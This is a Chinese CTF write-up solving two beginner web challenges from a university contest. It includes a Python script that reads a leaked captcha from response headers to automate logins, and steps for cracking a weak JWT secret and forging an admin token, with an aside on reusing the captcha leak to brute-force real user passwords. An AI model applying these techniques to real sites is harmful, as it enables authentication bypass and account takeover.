【ZJNU第六届CTF院赛暨CTF集训队招新 B组 WEB题解】

前言

本次出题真的很简单,因为考虑到了时间只有两个半小时所以将题目大半部分都删除了,都只留下了开头的小部分(真的真的)

让我们步入正题:看一看这两道简单的签到题

web1 令人头疼的验证码


首先打开题目

看到这个页面是否突然

并且题目提示 验证码区分大小写 难度是否感觉骤增。这时候要放心毕竟只有2个半小时的比赛,出题人不会出一道折磨你的题(相信我)

步入正题:这道题 有两种解法

第一种:机器学习 轻松解决,在这里不做这种解法的详细说明(例如: caffe 机器学习)
第二种: 也是本题的预期解法

首先 在 index.php 的 header 中发现一个
Flag:
以及 在 captcha.php 的 header 中发现
captcha:wFFH(这是重点啊!!!验证码都告诉你了)


接下来写脚本跑一下

#encoding=utf-8
from requests import *
urlhead ='xxx'
url = urlhead+'captcha.php?0.5454454929338202'
kk = session()
flag = ''
for i in range(91):
    print(i)
    code = kk.get(url)
    data = {
        "validate": code.headers['captcha']
    }
    b = kk.post(urlhead,data=data)
    if "flag" in b.text:
        print(b.text)

结果并没有发现flag


接下来让我们联想到之前的header 中的 Flag:
于是我们开始改进脚本

#encoding=utf-8
from requests import *
import base64
urlhead = 'xxx'
url = urlhead+'captcha.php?0.5454454929338202'
kk = session()
flag = ''
for i in range(91):
    print(i)
    code = kk.get(url)
    data = {
        "validate": code.headers['captcha']
    }
    b = kk.post(urlhead,data=data)
    if len(b.headers['Flag'])>=2:
        flag+=(b.headers['Flag'])
print(base64.b64decode(flag) )

就能得到flag flag{HeaDer_is_s0_Go0D1s}

web2 简单的登录签到


这道题拿到手后发现是一个登录界面
随意输入账号密码 后发现提示只有admin才能得到flag 并且admin 禁止输入
同时我们在返回头发现异常cookie
PHPSESSID=ZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5Sm1iR0ZuSWpvaUlpd2lkWE5sY2lJNklqRXlNeUlzSW5ScGJXVWlPaUl4TlRNNU9ETTVNVEV6SW4wLkZxWEdWaEZwVnlYa0FWeXIyZkZBTjVwSG1zOVNWZE9FbllJaFFzNU42OHc=
这里仔细观察能发现是base64的编码
我们进行base64解码后发现数据格式为:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiIiwidXNlciI6IjEyMyIsInRpbWUiOiIxNTM5ODM5MTEzIn0.FqXGVhFpVyXkAVyr2fFAN5pHms9SVdOEnYIhQs5N68w
【当我们遇到没见过的数据时候可以拿去百度】

大家千万不要这样

这段数据是jwt(Json web token)鉴权 https://jwt.io/
那么我们可以通过模拟cookie为admin的数据来绕过认证获取cookie
jwt的格式为:
Header.Payload.Signature( Header 头部 Payload 负载 Signature 签名)
例如上面这段数据,解析结果如下

HEADER:
{
  "alg": "HS256",
  "typ": "JWT"
}
PAYLOAD:
{
  "flag": "",
  "user": "123",
  "time": "1539839113"
}
VERIFY SIGNATURE
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret  # 这段密码是未知的
)

因为题目表示为签到题

于是我们可以尝试爆破来获取secret 或者直接将admin放入尝试(在比赛中可以将题目中给出的信息加入字典进行尝试)
本次secret 是admin
接下来构造user 为 admin 的payload (可以直接用jwt.io 这个网站进行构造)
构造的payload如下
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiIiwidXNlciI6ImFkbWluIiwidGltZSI6IjE1Mzk4MzkxMTMifQ.B5_wDBZgvYPTbDAaD3kddWLLfdyLfNRB1BaD2uOgXjk
然后base64 放入cookie中提交即可看到flag
flag{i_L1ke_pytH0n_so_so_much_eaSy}


题外话:

  • 对于web1 这是之前在挖洞的时候发现有部分网站的验证码的值直接通过json返回,然后前端js验证(虽然很多网站忽略这个洞,然后偷偷的修正)但是我们可以通过这个进行更深层次的操作,比如查看能不能通过这个去爆破用户密码等等。

    当然机器学习的也是可以的,毕竟这个验证码也是很简单的类型
  • 对于web2 这个题目 我是从之前写的web中提出来的一小部分。只是考验了简单的搜索能力以及遇到新知识的学习能力(事前了解到大部分同学都不知道jwt)
    后续比如模板注入这些都删去了 所以flag中的 i_L1ke_pytH0n 和题目没什么关联 (不要吐槽flag内容哈)
    这道题还有一点需要大家注意 这道题是通过python写的 并且在登录回显中有user的回显 那么我们应该要尝试下模板注入是否可行(之前我在群里也发过一道简单的模板注入入门题目,可惜没人去做)
    至于如何看出是python 的 (如果有视频教学时候详细说明)

    最后友情提示

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容

  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,368评论 1 11
  • 抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...
    ch3ckr阅读 12,971评论 0 6
  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,490评论 0 2
  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,231评论 11 16
  • ARC是如何工作的 每次创建一个新的类的实例,ARC便会分配一块内存来存储实例的信息当一个实例不再需要,ARC便会...
    KeenV阅读 231评论 0 0